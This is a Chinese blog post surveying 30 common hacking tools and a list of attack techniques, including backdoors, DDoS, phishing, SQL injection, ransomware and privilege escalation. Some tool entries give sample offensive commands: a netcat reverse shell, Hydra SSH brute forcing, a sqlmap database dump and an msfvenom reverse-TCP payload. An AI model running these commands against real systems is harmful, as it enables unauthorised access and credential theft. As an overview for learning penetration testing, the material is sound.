黑客最喜欢的30个工具和30个技术_黑客最喜欢用的-优快云博客

本文链接：https://blog.youkuaiyun.com/qq_62784677/article/details/147077461

工具

1. Metasploit Framework

• 类别：渗透测试/漏洞利用
• 用途：开发、测试和执行漏洞利用代码，生成Payload（如反向Shell）。
• 场景：利用未修补的漏洞（如永恒之蓝）获取目标系统权限。

2. Nmap

• 类别：网络扫描
• 用途：探测主机、端口和服务，支持脚本扩展（如漏洞检测）。
• 场景：扫描目标网络拓扑，识别开放端口（如nmap -sV 192.168.1.0/24）。

3. Wireshark

• 类别：流量分析
• 用途：抓包并解析网络协议，分析数据流。
• 场景：捕获HTTP明文密码或检测ARP欺骗攻击。

4. John the Ripper

• 类别：密码破解
• 用途：暴力破解或字典攻击哈希/加密密码。
• 场景：破解Linux系统的/etc/shadow文件哈希。

5. Aircrack-ng

• 类别：无线攻击
• 用途：破解WiFi密码（WPA/WPA2），分析无线流量。
• 场景：捕获握手包后使用字典破解WiFi密钥。

6. Hydra

• 类别：暴力破解
• 用途：支持多协议（SSH、FTP、RDP）的登录爆破。
• 场景：爆破弱密码的SSH服务（hydra -l user -P passlist.txt ssh://192.168.1.1）。

7. Burp Suite

• 类别：Web应用测试
• 用途：拦截HTTP请求、扫描漏洞（如XSS、CSRF）。
• 场景：修改请求参数绕过身份验证。

8. sqlmap

• 类别：SQL注入
• 用途：自动化检测和利用SQL注入漏洞。
• 场景：提取数据库内容（如sqlmap -u "http://target.com?id=1" --dump）。

9. Nikto

• 类别：Web扫描
• 用途：扫描Web服务器配置错误和已知漏洞。
• 场景：检测过时的Apache版本或敏感文件泄露。

10. Netcat

• 类别：网络工具
• 用途：端口监听、文件传输、后门连接。
• 场景：创建反向Shell（nc -lvp 4444监听，目标执行nc 192.168.1.2 4444 -e /bin/sh）。

11. Social-Engineer Toolkit (SET)

• 类别：社会工程
• 用途：生成钓鱼页面、恶意邮件或伪装攻击。
• 场景：伪造登录页面窃取用户凭据。

12. OpenVAS

• 类别：漏洞扫描
• 用途：全面扫描系统漏洞，生成详细报告。
• 场景：企业内网漏洞评估。

13. DirBuster/Dirb

• 类别：目录枚举
• 用途：爆破Web目录和文件（如admin后台）。
• 场景：发现隐藏的/backup目录或配置文件。

14. Maltego

• 类别：信息收集
• 用途：可视化关联分析域名、IP、邮箱等信息。
• 场景：绘制目标组织的网络关系图。

15. Ettercap

• 类别：中间人攻击
• 用途：ARP欺骗、SSL剥离、流量嗅探。
• 场景：窃取局域网内用户的登录凭证。

16. Hping3

• 类别：高级扫描
• 用途：自定义TCP/IP包测试防火墙规则或DoS攻击。
• 场景：检测目标是否过滤特定ICMP类型。

17. Hashcat

• 类别：密码恢复
• 用途：GPU加速破解哈希（支持MD5、SHA256等）。
• 场景：快速破解NTLM哈希（hashcat -m 1000 hash.txt rockyou.txt）。

18. Cewl

• 类别：字典生成
• 用途：爬取网站内容生成定制化密码字典。
• 场景：针对企业网站生成包含品牌名的字典。

19. Snort

• 类别：入侵检测
• 用途：实时监控网络流量，匹配攻击特征。
• 场景：防御SQL注入或恶意文件下载。

20. tcpdump

• 类别：命令行抓包
• 用途：快速捕获和分析流量（如过滤HTTP请求）。
• 场景：提取FTP传输的明文文件（tcpdump port 21 -w capture.pcap）。

21. Responder

• 类别：网络投毒
• 用途：劫持LLMNR/NBT-NS请求，窃取NTLM哈希。
• 场景：在内部网络获取用户哈希并中继攻击。

22. Impacket

• 类别：协议利用
• 用途：Python库实现SMB、Kerberos等协议攻击。
• 场景：利用PsExec执行远程命令（如横向移动）。

23. BeEF

• 类别：浏览器利用
• 用途：控制受害者浏览器（如XSS漏洞）。
• 场景：劫持用户会话或发起键盘记录。

24. OWASP ZAP

• 类别：Web扫描
• 用途：自动化查找Web漏洞（如目录遍历）。
• 场景：扫描API接口的安全问题。

25. The Harvester

• 类别：信息收集
• 用途：收集目标域名关联的邮箱、子域名等。
• 场景：通过Google搜索获取员工邮箱列表。

26. Shodan CLI

• 类别：设备搜索
• 用途：查找暴露在互联网的特定设备（如摄像头、数据库）。
• 场景：搜索未防护的Redis服务（shodan search port:6379）。

27. WPScan

• 类别：WordPress扫描
• 用途：检测插件、主题漏洞及弱密码。
• 场景：利用Timthumb漏洞上传Webshell。

28. Msfvenom

• 类别：Payload生成
• 用途：生成跨平台Payload（如exe、elf、apk）。
• 场景：创建反向TCP的Linux可执行文件（msfvenom -p linux/x64/shell_reverse_tcp）。

29. Cobalt Strike

• 类别：高级攻击框架
• 用途：团队协作渗透、钓鱼攻击、权限维持。
• 场景：通过钓鱼邮件部署Beacon后门。

30. Ghidra

• 类别：逆向工程
• 用途：分析恶意软件或闭源程序的二进制代码。
• 场景：解密勒索软件加密算法。

技术

1. 后门植入（Backdoor）

• 类别：权限维持
• 原理：在目标系统植入隐蔽通道，绕过正常认证机制。
• 技术细节：
• 方法：修改系统服务、注册表或植入恶意DLL。
• 案例：Meterpreter通过漏洞上传后门，监听特定端口。
• 防御：文件完整性监控（如Tripwire）、禁用未签名服务。

2. DDoS攻击（分布式拒绝服务）

• 类别：资源耗尽
• 原理：通过僵尸网络（Botnet）发送海量请求耗尽目标资源。
• 技术类型：
• SYN Flood：伪造源IP发送半开连接耗尽TCP队列。
• HTTP GET：模拟正常请求占用服务器线程。
• 案例：Mirai僵尸网络攻击DNS服务商Dyn（2016）。

3. Hook技术（API Hooking）

• 类别：进程注入
• 原理：劫持程序API调用，篡改输入输出或记录敏感数据。
• 实现方式：
• Inline Hook：修改函数入口指令跳转到恶意代码。
• DLL注入：通过远程线程加载恶意DLL劫持函数表（IAT）。
• 案例：银行木马通过Hook键盘API窃取网银密码。

4. 中间人攻击（MITM）

• 类别：流量劫持
• 原理：欺骗目标设备将流量路由至攻击者主机。
• 技术实现：
• ARP欺骗：伪造ARP响应绑定攻击者MAC到目标IP。
• SSL剥离：将HTTPS降级为HTTP明文传输。
• 工具：Ettercap、BetterCAP。

5. 钓鱼攻击（Phishing）

• 类别：社会工程
• 原理：伪造可信来源诱导用户提交敏感信息。
• 技术变种：
• 鱼叉钓鱼：针对特定高管定制邮件内容。
• 克隆网站：复制合法网站登录页窃取凭据。
• 案例：伪造Microsoft登录页窃取Office 365账户。

6. SQL注入（SQLi）

• 类别：Web漏洞
• 原理：通过输入恶意SQL语句篡改数据库查询逻辑。
• 攻击方式：
• Union注入：拼接查询语句获取其他表数据。
• 盲注：通过页面响应差异推断数据库内容。
• 自动化工具：sqlmap。

7. XSS（跨站脚本攻击）

• 类别：客户端攻击
• 原理：注入恶意脚本到网页，劫持用户会话。
• 类型：
• 存储型XSS：脚本存入数据库（如论坛评论）。
• 反射型XSS：通过URL参数触发（钓鱼链接）。
• 利用场景：窃取Cookie、重定向到恶意网站。

8. 勒索软件（Ransomware）

• 类别：数据加密
• 原理：使用非对称加密算法（如RSA-2048）锁定文件。
• 传播方式：
• 漏洞利用（如EternalBlue）。
• 恶意邮件附件（.js、.docm）。
• 案例：WannaCry利用SMB漏洞加密全球Windows主机。

9. 僵尸网络（Botnet）

• 类别：分布式攻击
• 原理：通过C&C服务器控制感染主机集群。
• 组建流程：

传播恶意软件（蠕虫、木马）。
被控主机定期轮询C&C获取指令。
• 用途：DDoS、挖矿、发送垃圾邮件。

10. 社会工程（Social Engineering）

• 类别：心理操纵
• 原理：利用人性弱点（信任、恐惧）获取信息。
• 技术手段：
• 伪装身份：冒充IT部门要求提供密码。
• 诱饵攻击：放置带恶意程序的U盘诱导插入。

11. 漏洞利用（Exploit）

• 类别：代码执行
• 原理：利用软件漏洞（如缓冲区溢出）执行任意代码。
• 利用链：
• 堆喷射（Heap Spray）：在内存中预填Shellcode提高命中率。
• ROP链：绕过DEP保护拼接代码片段。
• 工具：Metasploit、Immunity Debugger。

12. ARP欺骗（ARP Spoofing）

• 类别：局域网攻击
• 原理：伪造ARP响应包劫持目标流量。
• 攻击效果：
• 监听同一网段内主机通信。
• 阻断目标网络连接（ARP洪水）。
• 检测：静态ARP绑定、启用DHCP Snooping。

13. DNS劫持（DNS Hijacking）

• 类别：域名欺诈
• 原理：篡改DNS解析结果指向恶意IP。
• 实现方式：
• 入侵本地DNS服务器（如路由器）。
• 修改hosts文件重定向特定域名。
• 案例：攻击者将google.com解析到钓鱼网站。

14. 密码爆破（Brute Force）

• 类别：认证绕过
• 原理：枚举所有可能的密码组合进行尝试。
• 优化手段：
• 字典攻击：使用常见密码库（rockyou.txt）。
• 彩虹表：预计算哈希减少破解时间。
• 工具：John the Ripper、Hashcat。

15. 会话劫持（Session Hijacking）

• 类别：会话控制
• 原理：窃取合法用户的Session ID冒充身份。
• 攻击途径：
• XSS窃取Cookie：document.cookie。
• 嗅探未加密会话（如HTTP协议）。
• 防御：启用HttpOnly、使用HTTPS。

16. Rootkit

• 类别：内核级隐蔽
• 原理：通过驱动或内核模块隐藏进程、文件、网络连接。
• 技术类型：
• 用户态Rootkit：Hook API调用（如readdir）。
• 内核态Rootkit：修改系统调用表（sys_call_table）。
• 检测：内存取证工具（Volatility）。

17. 键盘记录（Keylogger）

• 类别：输入监控
• 原理：记录用户键盘输入并发送至攻击者服务器。
• 实现方式：
• 硬件Keylogger：物理接入USB设备。
• 软件Keylogger：Hook键盘API（Windows WH_KEYBOARD_LL）。
• 案例：间谍软件跟踪员工输入内容。

18. 恶意广告（Malvertising）

• 类别：供应链攻击
• 原理：在合法广告平台投放含恶意代码的广告。
• 攻击链：

利用Flash/PDF漏洞触发下载。
重定向到Exploit Kit（如Angler）。
• 防御：广告拦截插件、禁用过时插件。

19. 零日攻击（Zero-Day Exploit）

• 类别：未知漏洞利用
• 原理：在厂商发布补丁前利用未公开漏洞攻击。
• 生命周期：

漏洞发现（Fuzzing、逆向工程）。
开发Exploit并黑市交易。
• 案例：Stuxnet利用4个Windows零日漏洞破坏核设施。

20. 水坑攻击（Watering Hole）

• 类别：定向攻击
• 原理：入侵目标常访问的网站，植入恶意代码。
• 技术链：

识别目标群体（如特定行业论坛）。
利用CMS漏洞篡改网站JS脚本。
• 案例：攻击者入侵能源公司员工常访问的技术博客。

21. 供应链攻击（Supply Chain）

• 类别：上游污染
• 原理：在软件更新包或依赖库中植入恶意代码。
• 典型场景：
• 开发工具污染：入侵代码编辑器插件市场。
• 硬件后门：路由器固件预装监控模块。
• 案例：SolarWinds Orion更新包被植入后门（2020）。

22. WiFi破解（WPA/WPA2 Cracking）

• 类别：无线攻击
• 原理：捕获握手包后通过字典或彩虹表破解PSK密码。
• 步骤：

使用Aircrack-ng解除WiFi客户端关联（Deauth攻击）。
捕获四次握手包后使用Hashcat爆破。
• 防御：启用WPA3、使用复杂预共享密钥。

23. 提权攻击（Privilege Escalation）

• 类别：权限提升
• 原理：利用系统配置错误或漏洞获取更高权限（如root）。
• 常见漏洞：
• Linux脏牛（Dirty COW）：竞争条件漏洞改写只读内存。
• Windows MS17-010：通过SMB服务获取SYSTEM权限。
• 工具：LinPEAS、Windows-Exploit-Suggester。

24. API滥用（API Abuse）

• 类别：接口攻击
• 原理：利用API设计缺陷进行未授权操作或数据泄露。
• 攻击方式：
• 速率限制绕过：伪造IP或使用代理池轰炸API。
• 参数篡改：修改用户ID越权访问他人数据（IDOR）。
• 案例：Facebook API漏洞泄露5000万用户数据（2018）。